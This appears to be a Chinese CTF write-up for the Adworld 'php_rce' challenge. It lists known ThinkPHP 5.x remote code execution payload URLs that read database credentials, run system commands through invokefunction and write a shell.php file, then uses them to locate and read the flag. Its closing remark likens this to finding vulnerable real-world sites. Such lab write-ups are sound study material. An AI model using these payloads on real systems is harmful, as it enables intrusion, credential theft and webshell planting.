CTFer成长记录——CTF之Web专题·攻防世界-php_rce

发布时间 2023-08-07 21:48:56作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171

二、解法步骤

  RCE意思是(Remote Code Execution),远程代码执行漏洞。这里题目涉及到thinkphp5的框架,那么就可能有对应的漏洞。

  ThinkPHP5漏洞Payload:

  Thinkphp5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  Thinkphp 5

1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

  Thinkphp5.1

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

  题目用的是5.0版本,先用5.0.22的payload试试:

  ?s=.|think\config/get&name=database.username:

  回显数据库名,接着看看其他信息:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls,这里将最后的命令修改为ls,看看目录:  

  然后找下flag字段:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

  这里也可以进入根目录:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd /;ls:

  最后cat flag:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

  

三、总结

  本题比较像实战中的一个环节,在信息搜集中获取到某个框架的RCE,然后寻找使用该版本的网站,最后尝试利用漏洞。